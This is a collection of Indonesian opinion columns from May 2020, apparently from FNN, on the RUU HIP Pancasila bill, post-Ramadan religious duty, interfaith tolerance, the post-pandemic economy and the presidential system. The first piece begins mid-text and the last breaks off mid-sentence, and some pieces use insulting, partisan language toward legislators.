apa pun soal Pancasila adalah cacat hukum. Tidak sah dan akan berujung pada kekacauan. Konsideran penting yang menjadi dasar pertimbangan lahirnya Dekrit Presiden 5 Juli 1959 itu, sehingga diterima semua kalangan adalah : “…bahwa Piagam Jakarta tertanggal 22 Juni 1945 menjiwai Undang-Undang Dasar 1945, dan adalah merupakan suatu rangkaian kesatuan dengan konstitusi tersebut.” Apa makna konsideran tersebut ? Perdana Mentri Djuanda, Kepala Pemerintahan saat itu menjelaskan bahwa jiwa “Ketuhanan Yang Maha Esa” dalam sila pertama Pancasila adalah jiwa Piagam Jakarta. Dengan demikian “Ketuhanan Yang Maha Esa” dimaknai sebagai “Ketuhanan dengan kewajiban menjalankan Syari'at Islam bagi pemeluk-pemeluknya” (lihat Deliar Noer : Partai Islam Di Pentas Nasional, Cet II, 2000 dan Lukman Hakiem : Biografi Mohammad Natsir, 2019). Keempat, pada Pasal 6 ayat (1) RUU HIP disebut bahwa Sendi Pokok Pancasila adalah keadilan sosial. Pada Pasal 7 ayat (2), Ciri Pokok Pancasila berupa Trisila, yaitu: sosio-nasionalisme, sosio-demokrasi, serta ketuhanan yang berkebudayaan. Pada ayat (3),Trisila sebagaimana dimaksud pada ayat (2) terkristalisasi dalam Ekasila, yaitu gotong-royong. Pasal ini membuat keanehan yang sangat serius. Pancasila apa yang dimaksud oleh RUU HIP, yang memiliki sendi pokok keadilan sosial dan ciri pokoknya adalah dapat diperas menjadi Trisila dan selanjutnya Ekasila, yaitu gotong-royong? Jika yang dimaksud adalah Pancasila sebagaimana termaktub dalam Pembukaan UUD 145, yang berlakuannya atas dasar Dekrit Presiden 5 Juli 1959, maka sendi utamanya (kalau mau pakai istilah ini) adalah Ketuhanan Yang Maha Esa. Bukan keadilan sosial. Keadilan sosial adalah satu prinsip dari lima prinsip (Pancasila), yang harus diperjuangkan untuk diwujudkan. Ia adalah mimpi bangsa Indonesia merdeka yang belum dimiliki. Simaklah baik-baik akhir aline ke 4 Pembukaan UUD 145 itu: “...serta dengan mewujudkan suatu keadilan sosial bagi seluruh rakyat Indonesia”. Frasa “dengan mewujudkan” memberi arti bahwa keadilaan itu adalah sesuatu (mimpi yang belum terwujud) yang masih harus digapai. Bagaimana menjadikan sesuatu yang masih ada dalam mimpi sebagai sendi? Perdebatan di BPUPKI pada persidangan 29 Mei hingga 1 Juni 1945 dan di Majelis Konstituante hingga keluarnya Dekrit Presiden 5 Juli 1959 sesungguhnya bertumpu pada “posisi Tuhan dalam negara”. Pada waktu Sidang BPUPKI, golongan nasionalis sekuler menghendaki negara ini berdasarkan sekuler, dimana Tuhan menjadi urusan pribadi masing-masing. Tidak dibawa ke dalam urusan bernegara. Ketika itu golongan Nasionalis Islamis menghendaki berdasakan Islam, dimana hidup bermasyarakat, berbangsa dan bernegara tidak lepas dari nilai-nilai agama). Perdebatan ini terjadi karena masyarakat pada masa sebelum merdeka pun, telah memiliki Tuhan dan menjadikan-Nya sebagai tempat bergantung satu-satunya. Tinggal lagi, dimana Tuhan Yang Maha Segala itu ditempatkan dalam berbangsa dan bernegara? Itulah soalnya. Kompromi terakhir tentang landasan falsafah negara itu ialah rumusan seperti dalam Pembukaan UUD 45 yang terjadi pada 18 Agustus 45, yakni rumusan Piagam Jakarta minus tujuh kata, “dengan kewajiban menjalankan Syari'at Islam bagi pemeluk-pemeluknya”. Negara bukan berdasarkan Islam, tapi juga bukan berdasar sekuler. Tuhan di tempatkan sebagai Causa Prima. Istilah ini datang dari Bung Karno. Tuhan menjadi jiwa seluruh sila dari Pancasila, termasuk keadilan sosial bagi seluruh rakyat Indonesia. Inilah kesepakatan luhur yang diterima semua komponen bangsa dengan suka cita ketika itu. Jadi, negara ini lahir atas dasar kesepakatan. Landasan falsafah negara merupakan kesepakatan bersama. Menjadi titik temu, common platform bagi semua aliran politik yang ada. Sendi pokok landasan falsafah negaranya adalah Ketuhanan Yang Maha Esa. Bukan Trisila. Bukan pula Ekasila dan Gotong-royong. Maknya DPR jangan ngaco, dongo, dungu dan beleng-beleng. Negara ini akan tetap teguh dan eksis bila Ketuhanan Yang Maha Esa tetap ditempatkan sebagai Causa Prima. Sebagai yang menjiwai sila-sila lainnya dalam Pancasila. Akan bubar, bila posisi Ketuhanan Yang Maha Esa digeser atau dikerdilkan. Itulah arti sendi Utama. Berbeda dengan keadilan sosial, sebagai cita-cita bangsa, bila belum tercapai. Tetapi bukan karena kedzaliman penguasa, negara tidak akan bubar. Selanjutnya, ciri pokok (kalau juga mau menggunakan istilah ini) rumusan final Pancasila sebagai termaktub dalam Pembukaan UUD 145, adalah bahwa sila-sila dalam Pancasila. Merupakan satu kesatuan yang tidak dapat dipisahkan. Artinya, tidak dapat dan tidak boleh diperas-peras menjadi Trisila. Apalagi Ekasila. Pemerasan Pancasila menjadi berapa sila pun akan menghancurkan Pancasila itu sendiri. Juga menghancurkan kesepakatan luhur kita dalam berbangsa dan bernegara. Pancasila yang dapat diperas menjadi Trisila dan kemudian menjadi Ekasila , yakni Gotongroyong adalah gagasan Bung Karno pribadi, yang disampaikan pada Sidang BPUPKI 1 Juni 1945. Itu bukan kesepakatan. Melainkan baru berupa usulan dari Bung Karno seorang diri. Sama dengan usulan-usalan lain yang disampaikan oleh para tokoh lainnya. Jadi, RUU HIP menggunakan objek Pancasila yang tidak ada dasar hukumnya. Pancasila yang masih berupa usulan. Pancasilan yang masih gagasan di awan-awan. Bila disahkan menjadi UU, maka UUD HIP akan kehilangan konteks hukum di negara Indonesia. Itulah yang saya sebut tidak sah. Para anggota DPR RI yang terhormat sedang menyeret bangsa ini ke masa-masa sebelum merdeka. Masa-masa perdebatan tajam soal dasar falsafah negara. Tepatnya masa-masa persidangan di BPUPKI. Para anggota DPR RI sedang mengurai benang yang telah ditenun menjadi kain oleh the founding fathers menjadi benang-benang yang tercerai berai kembali. Maka dalam hal ini, para angggota DPR RI telah dengan sengaja melanggar konstitusi. Menghianati kesepakatan luhur bangsa tentang Pancasila. memanipulasi isi dan ruh Pancasila yang termaktub dalam Pembukaan UUD 1945, dengan isi Pancasila yang tidak ada dasar hukumnya. Artinya, casing tetap Pancasila tapi isinya telah diganti oleh para anggota dewan. Ini kejahatan yang membahayakan nyata kehidupan berbangsa dan bernegara. Konflik Ideologi akan membara dan NKRI bisa bubar. Setidaknya, Indonesia akan tumbuh menjadi negara lain yang berbeda. Yang tercabut dari akar sejarah dan cita-cita pendirinya . Casingnya tetap Indonesia, tapi manusia dan budayanya telah menjadi sesuatu yang lain. Sama juga artinya Indonesia sudah bubar. Kelima, Tuhan dalam RUU HIP telah dikrangkeng, lalu menghilang. Tuhan adalah sub ordinat dari kebudayaan. Ini benar-benar gelo, ngaco, dongo, dungu dan beleng-beleng. Coba lihatlah Pasal 7 ayat (2), “Ciri Pokok Pancasila berupa trisila, yaitu sosio-nasionalisme, sosio-demokrasi, serta ketuhanan yang berkebudayaan”. Pertanyaannya, Tuhan siapa yang berkebudayaan itu wahai anggota DPR yang ngaco, dongo, dungu dan beleng-beleng? Apakah kita akan mengukur sifat ketuhanan dengan kebudayaan ? Tuhan dikerangkeng dalam Trisila. Selanjutnya menghilang di Ekasila. Tidak salah bila banyak pihak mencurigai RUU HIP ini berbau komunis. Kalau begini rakyat harus siaga satu. Terlalu banyak alasan untuk menolak RUU HIP ini. Tetapi lima poin di atas kiranya cukup bagi anggota dewan untuk tidak mensahkannya menjadi UU. Saya mengajak para tokoh masyarakat kaum intlektual dan pimpinan Ormas yang setia pada Pancasila untuk bersama-sama menolak RUU HIP ini. Penulis adalah Ketua Gerakan Islam Pengawal NKRI

Islam Tidak Boleh Dikalahkan, Ayo Lawan

By M. Rizal Fadillah Jakarta FNN – Selasa (26/05). Setelah berpuasa sebulan penuh, kini umat Islam menunaikan misi lanjutan. Misi tersebut sebagai bukti suksesnya melasanakan ibadah selama Ramadhan. Sebagai Mu'min, ia mengemban dua amanah, yaitu amanah ibadah dan amanah khilafah. Amanah ibadah telah dijalankan melalui ketaatan 'maghdhah' nya. Amanah khilafah adalah bekerja mengelola dan memakmurkan bumi dengan sebaik-baiknya. Menyatakan tidak kepada korupsi, suap, zalim, licik, tamak, curang dan maling. Semua itu harus dilawan. Apapun resikonya. "Qum Fa anzir"--Bangun dan beri peringatan. Tugas mulia adalah bangun dan membangunkan manusia. Agar selalu sadar bahwa manusia itu berada dalam kelalaian dan terjebak di kehidupan remang-remang ataupun hitam. Dalam kegiatan budaya, ekonomi, politik maupun agama. Peringatan adalah cahaya. "Wa Robbaka fakabbir"--Besarkan asma Allah. Hanya Allah SWT yang besar. Yang selain Allah, kecil semua. Tidak ada persoalan besar dan berat dalam pandangan Allah. Kita hanya diuji untuk menghadapinya. Solusi ada pada-Nya. Agama harus dibesarkan. Syari'at-Nya mesti dimuliakan. Menghina atau meminggirkan agama akan berakibat pada kemurkaan Allah. Kehidupan yang sulit dan sangat pahit. "Wa tsiyaabaka fathohhir"--Pakaian bersihkan. Pakaian itu performance. Dalam bahasa agama adalah akhlak. Akhlak yang mulia. Pakaian sendiri dan pakaian orang lain yang harus dibersihkan. Membangun peradaban yang bersih dan mulia. Buang kultur korupsi, suap, zalim, licik, tamak dan lainnya. Pada masyarakat yang berbudaya, curang maling, korupsi, suap, zallim, tamak dan licik adalah masyarakat yang berpakaian kotor, jorok, dan compang-camping. "Wa rujza fahjur"-- Hapuskan dosa Hati suci menjadi modal akhlak yang bagus. Dzikrullah dan istighfar untuk jalan penyucian diri. Dengan hati yang suci, terbina tatanan yang beradab. Beda hati dan amal menyebabkan diri dan pemimpin berwatak tukang bohong, munafik, dan riya. Citra yang palsu dengan blusukan. "Wala tamnun tastaktsir"-- Jangan pragmatis. Dalam perjuangan memang perlu kalkulasi. Tetapi hitungan matematika tidak menjamin kemenangan. Dalam sejarah, jumlah yang kecil bisa menghancurkan yang banyak. Ada keberanian, tawakkal, serta pertolongan Allah. Pragmatisme dan hedonisme sering menjadi musuh agama. Akarnya materialisme. Hidup adalah keyakinan bukan semata hitungan. "Walirobbika fashbir"-- Hanya kepada Allah bersabar. Pelajaran shaum itu shabar. Kesabaran adalah kekuatan. Menghadapi tantangan terhadap agama, baik yang mengganggu, merusak, maupun yang hendak menghancurkan, umat Islam harus menggalang kekuatan dan shabar melakukan perlawanan. Insya Allah kemenangan akan didapat. Semangat juang adalah untuk merebut kemenangan tersebut "hayya 'alal falaah". Tindak lanjut shaum ramadhan tentu saja langkah konkrit. Bukan menunggu datangnya ramadhan lagi. Karena kita tidak tahu akan usia yang sampai atau tidak ramadhan mendatang. "Faidza faraghta fanshob". Jika sudah lewat satu tahap, maka masukilah tahap berikutnya. Setelah lewat ajang pembinaan dan perkaderan selama ramadhan, kini saatnya kita berada di lapang perjuangan yang sebenarnya. Misi agama adalah memenangkan pertarungan, "liyudzhirohu 'alad dieni kullihi". Memenangkan budaya, dan memenangkan peradaban. Satu catatan, agama Islam ini tidak boleh dikalahkan, dipinggirkan, atau dinistakan oleh budaya dan peradaban korupsi, suap, zalim, licik, tamak, curang dan maling. Ayo bela, muliakan dan menangkan! Penulis adalah Pemerhati Politik dan Keagamaan

Jangan Ajari Saya Toleransi dan Pancasila (9): Toleran Sepanjang Tidak Diusik

Saya sempat menegur keras Ketua RW tempat kami tinggal. Saya anggap tidak toleran karena mengedarkan surat yang mengajak warga mengadakan kerja bakti saat libur Natal. Kalau hari Ahad/Minggu, tidak masalah karena sudah rutin merah. Oleh Mangarahon Dongoran Jakarta, FNN - EFFY menganggap saya seperti saudara. Demikian juga saya. Istri saya dan dia cukup akrab, meski baru bertemu yang ketiga kali. Saya merasakan Effy benar-benar menyambut kami seperti saudara. Kami di bawa ke kantor suaminya, Eko yang membuka praktik sebagai pengacara di Kota Kediri. Satu malam pertama kami harus menginap di rumahnya. Padahal, kami sudah biasa menginap di pondok bersama orangtua santri. Harap maklum, penginapan di pondok itu bukan hotel, tetapi ruang kelas yang dikhususkan bagi orangtua yang berkunjung untuk menginap. Ya, seperti maktab saat saya naik haji tahun 1999, satu ruang bisa 15 sampai 20 orang. Bedanya, di Tanah Suci ada kasur cukup bagus dan menggunakan AC. Sedangkan di pesantren, kami biasa menggunakan kasur bekas santri yang sudah lulus dan penyegar udara alami. Banyak orangtua yang memilih menginap di pesantren, ketimbang di hotel, walaupun orangtua santri orang-orang mampu. Mereka memilih menginap di pondok agar lebih dekat dengan anak karena jarang ketemu. Tentu juga agar saling kenal satu sama lain, terutama orangtua santri dari Kalimantan, Sulawesi, Sumatera, Papua dan daerah lain di Indonesia. Bahkan, orangtua santri yang datang dari Malaysia pun ada yang memilih menginap di wisro (wisma rohani) - sebutan kami terhadap penginapan di pesantren. Effy yang menjemput kami pun ikut ke pesantren. Selesai mengantarkan anak ke pesantren (karena datang juga ke Stasiun Kereta Api Kediri bersama temannya dari Malaysia), kami kembali ke ke rumah Effy (rumah khusus menginap tamu-tamunya). Effy mengantarkan kami sampai ke lantai dua. Dia juga menjelaskan arah kiblat kalau mau shalat. Ya, begitulah indahnya persaudaraan, meski berbeda agama dan berbeda ras. Selama di mobil yang saya setir ke pesantren dan balik ke pusat Kota Kediri, saya bertanya banyak hal, termasuk kalau mau ke Jombang naik bis dari mana. Maklum, selain mengunjungi anak, saya yang menjadi Pemimpin Redaksi Harian Umum Kabar Banten, di Serang (anak usaha Pikiran Rakyat Bandung) mengemban tugas meliput Muktamar NU ke-33 di Jombang. Effy sudah menjelaskan kalau mau menggunakan bis bisa naik dari simpang tiga menuju pondok atau dari terminal. Dan saya sudah siap naik bis keesokan harinya, setelah mengantarkan istri ke pesantren. Akan tetapi, pagi-pagi Effy mengabari mau mengantarkan saya dan istri ke pondok. Benar, pagi selesai sarapan kami sudah siap berangkat bersama suaminya. Selesai mengantarkan istri , saya ikut mobil Effy yang dikemusikan suaminya. Maksud saya menumpang sampai ke simpang tiga, tempat mengentikan bis jurusan Jombang. Sesampai simpang tiga mobil belok ke kanan dan tidak berhenti. Ketika saya bilang berhenti di mana, dijawab mau mengantarkan saya ke tempat memberhentikan bus yang menuju ke Jombang di depan. Jadi tidak perlu ke terminal atau loket busnya. Beberapa kali saya tanya tempat menunggu bis, selalu dijawab Effy dan suaminya, Eko, nanti ada yang lebih dekat. Setelah cukup lama dalam perjalanan, mobil tidak berhenti juga. Akhirnya Effy baru mengatakan mau mengantarkan saya sampai Jombang. Katanya, sekalian ada urusan suaminya. Saya diantarkan sampai ke Alun-Alun Kota Jombang, tempat Muktamar NU ke-33. Sebenarnya, ada rasa kurang enak, karena saya baru pertama kali bertemu dengan suami Effy. Dalam pikiran saya, kalau saya tidak toleran dan selama ini tetap menjalin perdahabatan dengan Effy, mana mungkin suaminya seperti itu (sampai mengantarkan ke Jombang). Masih selama di Kediri. Effy juga mengajak saya berkunjung ke Pondok Pesantren Lirboyo. Bagi saya, hal itu merupakan kesempatan emas bisa berkunjung ke sebuah pesantren yang didirikan dan diasuh Kiai Langitan. Saya sudah lama berkeinginan mengunjungi pesantren yang diasuh Kiai Langitan. Selain mengunjungi Pesantren Lirboyo, Effy juga menawarkan memgunjungitempat wisata Katolik. Bagi saya tidak masalah. Toh waktu ke Roma, Italia juga saya berwisata ke Vatikan (saat meliput pertemuan Organisasi Pangan Dunia/FAO), dan masuk ke area Varikan saat kunjungan kenegaraan Presiden Abdurrahman Wahid (Gu Dur). Pun juga saya berwisata ke pagoda terbesar di Yangon, Ibukota Myanmar sebelum pindah, saat saya dan rombongan melakukan studi banding tentang kehutanan (terutaka kayu jati) dan gajah. Saya katakan Effy menawarkan, karena ia khawatir saya tidak mau. Akan tetapi, saya langsung mengiyakannya. Maka jadilah kami berkunjung ke tempa itu. Kami meluncur ke obyek wisata umat Katolik yang ditempuh sekitar 15 menit dari pusat kota. Sesampai di sana, kami turun. Setelah melihat-lihat, dan mendengarkan sedikit penjelasan, kami pun berfoto, layaknya berfoto di tempat wisata lainnya sebagai kenang-kenangan. Setelah menyelesaikan kunjungan di Kediri, kami lanjut berwisata ke sebuah candi dilanjut ziarah ke makam Bung Karno di Blitar. Kemudian dilanjutkan ke arena Muktamar NU di Jombang dan ziarah ke makam pendiri NU, KH Hasyim Asy'.ari. Effy tetap ikut walau berada di acara agama Islam. Saat di arena muktamar, tentu ia menyesuaikan pakaian. Saya yang harus melakukan liputan penutupan muktamar meninggalkan istri saya dan Effy berkeliling melihat-lihat arena muktamar, termasuk stand pameran yang masih buka. Itulah indahnya toleransi, lekatnya persahabatan. Andaikan saya dan umat Islam apalagi FPI tidak toleran, sudah dipastikan negara ini akan kacau. Andaikan umat Islam yang mayoritas tidak toleran, saya tidak bisa membayangkan nasib saudara-saudaraku yang minoritas yang hidup bersampingan di tengah pemukiman mayoritas. Umat minoritas aman-aman saja. Tak ada yang mengusik, sepanjang umat Islam yang mayoritas tidak diusik. Seperti perumpamaan lebah di tulisan saya sebelumnya. Saya juga mencoba toleran di lingkungan saya tinggal.Beduk keliling yang ditabuh anak-anak untuk membangunkan sahur saat bulan Ramadhan kami hentikan melalui rapat pengurus sewaktu saya menjadi Ketuan Dewan Kemakmuran Masjid Masjid Al Muhajirin, Perumahan Buana Permai, Kota Tangerang. Alasan dihentikan ada tiga. Pertama, tidak semua penduduk perumahan beragama Islam. Saya tahu jumlahnya sangat sedikit, mungkin tidak sampai 10 persen dari 300 kepala keluarga yang ada. Tapi, saya harus bersikap toleran kepada mereka, karena kalau beduk yang dibawa anak-anak lewat di depan rumahnya, bisa mengganggu yang lagi istirahat tidur. Mereka (nonmuslim) tidak akan berani protes. Kedua, sudah banyak alarm, baik si HP, di jam tangan maupun jam dinding. Ketiga, ada orang yang sedang sakit dan kurang enak badan. Keputusan rapat DKM itu ditentang segelintir orang, dan sampai ada yang membawa-bawa Wali Songo. "Wali Songo juga pake bedug keliling," demikian kalimat yang sampai ke saya. Saya jelaskan, Wali Songo tidak meminta jemaahnya membawa beduk keliling untuk membangunkan sahur. Sebab, semua bedug di tempat Wali Songo itu besar-besar. Bagaimana mau dibawa keliling? Alagi bedug yang ada di masjid/makam Sunan Gunung Muria yang ada di gunung. Mau ziarah ke sana saja kita hanya bisa sampai dengan menggunakan ojek, selain tangga semen yang panjang bagi yang kuat. Oh ya, saya juga sempat bersuara keras kepada seorang Ketua RW suatu waktu. Ceritanya, karena Ketua RW itu mengedarkan surat agar warga kerja bakti tanggal 25 Desember. Saya katakan, hargai agama Kristen yang merayakan Hari Natal. Sebab, Natal bagi agama Kristen merupakan perayaan agama, dan berbeda dengan hari Ahad/Minggu. BPIP tidak Pancasilais Dalam ajaran Islam ada hari Jum'at dan tidak masalah jika kebetulan tanggal merah diadakan kerja bakti. Jangan coba-coba mengajak kerjabakti saat Hari Raya Idul Fitri dan Idul Adha. Atau saat tanggal merah Maulid Nabi dan Isyra' dan Mi'raj Nabi Muhammad. Pasti ada yang protes. Contoh sudah ada. Ketika konser digelar pada peringatan malam Nuzulul Qur'an yang baru lewat, banyak yang protes atas konser yang digelar BadanPembinaan Ideologi Pancasila (BPIP) itu. Apakah seperti itu yang dikatakan Pancasilais? Kok BPIP menjadi Badan Pengacau Ideologi Pancasila?Hasil protes umat Islam, pemenang lelang sepeda motor Joko Widodo, ternyata bukan pengusaha, tetapi seorang buruh tani di Jambi. Juga rencana konser Iwan Fals yang mau digelar pada malam takbiran. Umat Islam protes, dan Iwal Fals akhirnya menggeser konser itu ke hari lain, menjadi Selasa (26 Mei 2020/3 Syawal 1441 Hijiriyah) malam. Iwan Fals mendengar suara umat Islam. Ia memahami betapa malam takbir itu adalah sebuah peristiwa sakral yang mestinya diisi dengan takbir, tasbih, tahlil dan tahmid serta puja dan puji kepada Allah Ta'ala dan solawat kepada Nabi Muhammad. Ya, semua harus seperti itu. Sebab, melakukan sesuatu yang kurang berkenan di hati dan mata umat, akan membawa mudharat. Apalagi, umat berdoa dan dipimpin ulama, terutama ulama waro, bisa berdampak jauh. Sekali lagi, "Mulut ulama itu bisa menjadi madu dan bisa menjadi racun." (Habis)** Penulis, Wartawan Senior.

Perekonomian Indonesia Dibawah Bayang-Bayang Perubahan Dunia (Bagian Pertama)

By Andi Rahmat Jakarta FNN – Senin (25/05). Pandemi Covid-19, sebagaimana yang dinyatakan kolumnis CNN, Nic Robertson dalam artikelnya, “ The Pandemic Could Reshape The World Order”(CNN,23/05/2020 ) bahwa Pandemi tidak hanya mengejutkan dunia dengan kecepatan penyebarannya, tapi juga mengakselerasikan perubahan dalam perimbangan kekuatan global. Demikian juga yang dituliskan kolumnis CNBC, Christina Farr dan Ari Levy, tentang dunia yang “ suddenly now we’re in the future” ( CNBC, 23/05/2020). Ketiba-tibaan ini tentunya menunjukkan betapa cepat akselerasi perubahan dunia terjadi ditengah Pandemi. Cara berkehidupan yang kita kenal, yang oleh proses globalisasi yang berlangsung dalam tiga dekade terakhir, yang bertumpu pada mobilitas interdependensi dan interaksi lintas batas, turut pula menjadi “ korban utama” pandemi Covid-19. Karena perubahan tektonik dalam cara berkehidupan itu pulalah yang turut mempengaruhi landskap perekonomian global. Tiba- tiba saja perekonomian dunia berhadapan dengan kenyataan yang sulit dihadapi dengan cara lama. Tercermin dari reaksi kebijakan ekonomi yang dikeluarkan berbagai negara. Tidak berhenti di situ. Sektor swasta juga mengalami tekanan berat. Membutuhkan respon yang tidak biasa dan seringkali baru. Perubahan landskap bisnis memaksa korporasi dan unit-unit usaha kecil dan menengah untuk melakukan inovasi cepat untuk bisa bertahan hidup dan melanjutkan bisnisnya. Dapat dikatakan bahwa wajah perekonomian dunia tidak akan sama lagi dengan sebelum pandemi Covid-19. Nic Robertson menyebut sebagai BC (Before Coronavirus) dan AC (After Coronavirus). Wajah baru perekonomian itulah yang mesti kita antisipasi, jika kita menghendaki perekonomian Indonesia sanggup keluar dari krisis dan mengambil manfaat dalam momentum perubahan besar yang terjadi. Penulis mencatat ada lima kenyataan baru yang akan mempengaruhi wajah perekonomian dunia, dan juga Indonesia. Kenyataan pertama, ekonomi berbasis teknologi akan memainkan peran sentral dalam perekonomian baru. Kompetisi inovasi pada teknologi maju (baca: advance) dan perebutan sumber daya yang menopang perkembangan teknologi akan mewarnai kompetisi ekonomi global. Apa yang tadinya dianggap sebagai lompatan transisi (transitional leap) penerapan inovasi teknologi dalam praktek perekonomian harian, pada kenyataannya, disebabkan oleh efek disrupsi pandemi, tidak lagi sepenuhnya bersifat transisi. Maknanya, transisi yang dianggap sebagai ruang kesempatan bagi banyak negara untuk melakukan adaptasi menjadi hampir hilang. Sekurang-kurangnya, waktu untuk beradaptasi menjadi singkat, dan perekonomian akan dipaksa menerimanya sebagai kenyataan baru yang tidak bisa ditolak. Faktor- faktor yang selama ini mempengaruhi hubungan Penawaran dan Permintaan (Supply and Demand), dan pembentukan harga ekonomi turut pula terdampak. Biaya yang mempengaruhi produksi, distribusi dan biaya administratif seperti pajak dan tarif perdagangan dipaksa berubah. Adaptasi perubahan komponen tersebutlah yang akan menentukan tingkat kompetitif perekonomian suatu entitas bisnis dan juga perekonomian suatu negara. Kesemuanya itu adalah hasil dari paksaan perkembangan teknologi. Kenyataan Kedua, perubahan pada mata rantai penawaran global (global supply chain). Persaingan triumvirat perekonomian dunia Amerika Serikat, China dan Uni Eropa telah berbuah pada konflik perdagangan terbuka. Dan makin menguat dimasa Pandemi Covid-19. “T-Shirt Economy” istilah yang diperkenalkan oleh Ekonom Georgetown University, Pietra Rivoli (The Travels of A T-Shirt In The Global Economy, Wiley, 2009) yang menggambarkan mata rantai penawaran ekonomi global sepanjang gelombang globalisasi selama ini turut pula mengalami disrupsi dan segera pula akan terpaksa untuk beradaptasi. Relokasi dan konsolidasi pusat produksi akan berbuah pada makin pendeknya mata rantai penawaran (supply chain). Pandemi menyebabkan dunia usaha dan para pengambil kebijakan berpikir ulang dalam melihat sebaran mata rantai pasokan penawaran global. Makin ringkas nampaknya, akan makin dianggap aman dan kompetitif. Dan makin dekat dan makin tidak kompleks secara geopolitik juga akan dianggap sebagai pilihan rasional dalam menjaga kelangsungan sumber daya produksi. Kenyataan Ketiga, hutang menjadi sumber primer gerak ekonomi. Kapasitas fiskal negara-negara tergerus dan Bank Sentral mengambil peran yang lebih luas dan kuat dalam perekonomian. Hubungan Trivial ketiga hal itu, menjadikan perekonomian makin rentan terhadap shock (kejutan). Meminjam tesis Hyman Minsky, ekonomi modern yang pada dasarnya tidak stabil makin menjadi tidak stabil (Hyman Minsky, Stabilizing Unstable Economy, Mc Graw-Hill,2008 ). Tumpukan hutang yang sudah terus menanjak di era sebelum pandemi, makin menggunung di era pandemi. Dan akan terus menggunung paska pandemi. Laporan Statistik Hutang Eksternal (Exsternal Debt) World Bank menunjukkan akumulasi hutang eksternal dunia hingga tahun 2018 mencapai U$ 8 trilliun. Pandemi Covid-19 mengakselerasikan penumpukan hutang menjadi dua kali lipat, dengan tidak kurang dari U$ 8 trilliun tambahan baru di masa krisis ini. Didalam laporannya, perkembangan hutang ini menyebabkan negara-negara berpendapatan rendah (low income countries) dan yang berpendapatan menengah (middle income countries) menjadi semakin rentan terhadap setiap kejutan eksternal (World Bank, International Debt Statistics 2020). Sekarang, setelah berbagai Bank Sentral memompa perekonomian dengan menciptakan begitu banyak uang, ekonomi dunia pun pada gilirannya makin bergantung pada tindakan Bank Sentral. Batas kewenangan antara fiskal dan moneter menjadi bersilangan. Pada level yang lebih kritis, Bank Sentral telah berubah menjadi jangkar perekonomian dalam skala yang tidak punya preseden sejarah. Wallahu ‘alam. (Bersambung ke Bagian Kedua ) Penulis adalah Pelaku Usaha dan Mantan Wakil Ketua Komisi XI DPR RI

Indonesia Terserah Presiden Saja

By Dr. Margarito Kamis Allahu Akbar, Allahu Akbar, Allahu Akbar. Lailaha Illallahu Allahu Akbar. Allahu Akbar Walillah Ilham. Allahu Akbar Kabira, Walhamdulillahi Katsira, Wasubhanallahi Bukratau Wa’asila. Lailaha Illallah Wala Na’budu Illa Iyahu. Muhlisina Lahuddina, Walaokarihal Kafirun, Walau Karihal Munafikun, Walau Kahiral Musrikun. Lailaha Ilaha Illallahu Wahdah, Shadaqa Wahda, Wanasra Abdah, Wa A’zzazundah, Wahdamal Ahda Bawahdah. Lailaha Illallah Allahu Akbar. Allahu Akbar Walillah Hamdu. Jakarta FNN – Senin (25/05). Pembaca FNN yang berbahagia. Selamat menggapai fitri dihari hebat ini. Sistem presidensial yang bekerja di tengah demokrasi, harus diakui memiliki keunikan. Perpaduan ketat dua sistem ini, sedari awal bukan menghasilkan, tetapi membuat presiden menjadi satu-satunya figur tak tertandingi. Ia tak tertandingi pada hampir semua aspek bernegara, suka atau tidak. Presiden-presiden hebat di negara demokrasi menggunakan semua atribut yang disediakan sistem, baik politik maupun hukum. Berbasis sistem, presiden, selalu bisa dan begitu kenyataannya, mengabaikan pendapat kritis yang menghendaki pemerintah harus begini dan begitu. Sejarah perpaduan dua sistem ini menunjukan presiden bisa menggunakan pendapat dari kelompoknya saja. Dan disisi lain, presiden bisa dan secara sadar mengabaikan pendapat dari kelompok lain, tentu bila memiliki bakat itu. Landscap sejarah itu sebegitu kayanya dibelahan dunia lain yang lebih dahulu mempraktikan dua sistem ini. Asumsi Pembuat UUD 1945 Presiden diasumskan oleh pembuat UUD 1945 sebelum diubah, merupakan pancaran kearifan, pengintegrasi, dan bapak bagi seluruh bangsa Indonesia. Asumsi ini khas Indonesia, integratif. Presiden berada dipusat seluruh soal bernegara. Semua soal berbangsa dan bernegara menjadi tanggung jawabnya, suka atau tidak. Sekedar mengelola? Tidak. Sebagai orang arif, pengintegrasi dan bapak bagi seluruh bangsa Indonesia, pekerjaan presiden harus mencerminkan parpaduan unsur otak dan hati. Presiden harus menempatkan kepentingan seluruh rakyat Indonesia diatas kepentingan apapun, termasuk investasi. Dalam UUD 1945 sebelum diubah, asumsi itu menghasilkan skema struktur kekuasaan dengan Presiden berada dipuncak kekuasan dibawah MPR. Asumsi ini bekerja dengan cara memberikan kekuasaan membuat UU kepada Presiden. Tidak itu saja, urusan penggajian, infrastruktur pengadilan juga diletakan dalam lingkungan kekuasaan Presiden. Sangat arif. kendati bekerja dengan asumsi presiden orang arif, para pembuat UUD 1945 tak berhenti di situ. Mereka, pembuat UUD 1945 menyediakan cara hebat mengendalikan dan mengontrol presiden. Apa cara itu? Sala satunya adalah menyediakan garis besar haluan daripada negara, GBHN. GBHN dirumuskan dan dibuat oleh MPR, lalu dimandatkan kepada Presiden untuk dilaksanakan. Presiden dengan demikian dipandu, dituntun oleh MPR, yang merupakan representasi seluruh bangsa Indonesia. Hebat betul kreasi para pembuat UUD 1945. Para pembuat UUD 1945 tidak menyediakan impeachment, sebagai cara yang bersifat represif, dengan menyediakan kemungkinan presiden diberhentikan dalam mengontrol presiden. Tidak. Para pembuat UUD 1945 menyediakan cara lai. Cara politik, yang menurut Profesor Ismail Suny, salah satu guru saya, memiliki sanksi. Cara itu adalah meminta pertanggung jawaban presiden atas kondisi bangsa. Dalam hal keterangan-keterangan presiden yang diberikan kepada MPR, tentu dalam sidang istimewa- apabila tidak diterima MPR, maka MPR dapat menjatuhkan sanksi. Sanksinya bisa berupa menarik mandatnya MPR. Lalu memberhentikan Presiden. Mengagumkan cara berpikir para pembuat UUD 1945. Presiden, menurut skema konstitusional ini, diberi atribut sebagai orang tertinggi di antara organ-orang yang sejajar di negara, tetapi tidak boleh aneh-aneh. Presiden harus, bersifat absolut. Dari waktu ke waktu beri kepastikan MPR bahwa ia selalu berada dalam track GBHN. Tidak bisa di luar itu. Presiden harus, dari waktu ke waktu, menampilkan eksistensi pemerintahannya sebaik-baiknya. Harus benar-benar menampilkan dirinya sebagai orang arif, pengintegrasi, bapak bangsa yang besar ini. Sayang, sejarah perjalanan bangsa hebat ini merekam sangat jelas patahan mematikan atas asumsi mengagumkan 